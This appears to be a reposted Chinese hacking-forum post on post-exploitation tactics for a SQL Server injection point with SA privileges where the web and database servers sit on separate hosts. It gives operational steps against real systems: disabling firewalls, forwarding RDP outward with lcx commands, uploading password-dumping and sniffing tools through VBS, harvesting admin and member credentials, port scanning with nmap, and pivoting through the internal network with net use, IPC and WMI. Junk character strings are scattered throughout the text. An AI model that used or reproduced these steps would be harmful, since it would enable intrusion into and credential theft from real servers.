当你碰到SA的注入点,可以执行命令,但是web与数据库分离,你都会怎么做呢,当数据库不服务器不能连接外网的时候,是不是只想着从web搞呢,这篇文章从t00ls转载过来,希望对大家sa权限的注入点数据库web分离提供一些渗透思路。7 ]3 Z2 l! `. f; m- d5 T# y7 s* @
* j* v5 j- o1 c0 j: D3 \/ c; Q6 ^+ z5 t/ W6 d& s, W7 }- X2 O
$ P8 W- c" m: R6 w2 I* ]& w
SA点,system权限,可执行命令,web和db分离.DB机器不上网(一般指中马不上线,lcx反弹不出)
# n) s% i4 p! b, A9 S# K" c7 ?1 r7 s5 E
6 \0 d8 N0 X `. i; D: c n
一、DB机有公网IP.8 P3 l' j3 x- D8 `% M+ V. x; N$ _
+ C5 Z' p9 x4 n1:执行命令把系统防火墙和ip策略停止,netstat -an找到3389端口尝试连接.4 y3 h# ^1 N |3 }! a. u
5 |; ~$ m7 w1 F6 t
$ B6 r8 T+ T. g2:从内往外扫描.把命令行下的s扫描器转成vbs传上DB机器生成exe扫描外网一台做了端口策略的机器.这台外网机器开放所有端口.(可以到网上找这 样的 机器.) 如果扫描结果有开放端口,证明在这台DB机可以把3389转到外面机器.比如扫到80 那就lcx -slave ip 80 127.0.0.1 3389./ c, s1 N; d' G1 ]2 [; `& i2 G
A2 }8 T- k' Q1 u3 h' @: M
) y- B+ A6 V* ^, f5 v: n/ J3:尽量多拿密码.用vbs的方法上传gethash,sqlsniffer类的工具.拿到系统和mssql的密 码,数据库表的后台管理员密码,member表的最前几个用户密码.这些密码可以用来测试web后台,web的3389 ftp等.当然事先要对web机器完整扫描一遍. www.2cto.com
3 W2 H: k q. m; Q+ V% u' v; V! d1 b9 G4 |/ k+ y
$ f/ M$ O) f: C* m! Z' G4,nmap扫描.用nmap扫描web和db机器的1-65535端口.如果发现db机器显示有closed的端口.那恭喜你,你可以lcx -tran 把3389转发到该端口直接登陆.firewalk也有类似功能.但对代理防火墙无用.3 k: _9 P: h1 O2 Y4 N+ Z* e/ d
4 v1 a. O2 g1 R1 l
! o3 q) c5 S5 R J: `+ n" }* P" X( i: ?* Z6 z
二、DB机只有内网IP
; d q+ e2 l) }* W0 F1 m. X, s7 k' o8 Y2 B/ b! |0 k6 O
1:尽量多拿密码来net use到web机器.这个过程需要极大的耐心 , 拿密码尝试登陆web后台等.
; A! W% [% r2 Q) E3 L
8 D- l- m+ C$ K* Y; i/ ~8 C8 K/ m3 Q! d
2:停掉防火墙和IP策略再从内往外扫描.
& l- ?( z( ], y0 ^' s6 `6 O U# j9 q) j+ @3 T
Y' a0 c0 J W7 ^1 h0 {2 h8 w3: ipconfig /dispalydns如果发现有公网的域名,极大可能是路由做了手脚.机会还是有的.
' z H' t2 e- r7 D% ^( k6 D7 l8 d6 K5 u# M
; o. `( ^ _! S. V0 h$ V/ d4:学会密码规律分析往往会有惊喜.
' ~ b4 u- X3 S) s9 H& m7 d0 S8 |+ X/ n; E2 C% s
" [2 Y2 E& h5 X. |5 ]. Y; C$ N. ?
5,在sa点里执行命令渗透内网,找可上网的机器.isql,ipc共享,wmi等
G4 \, J1 d4 @( @, Z
9 {0 b* W2 b. x5 y: A- ~+ J' m8 y% f! Y7 z2 x
有些地区或国家会禁止别的国家连接一些端口,所以拥有目标国代理或VPN是很重要的 |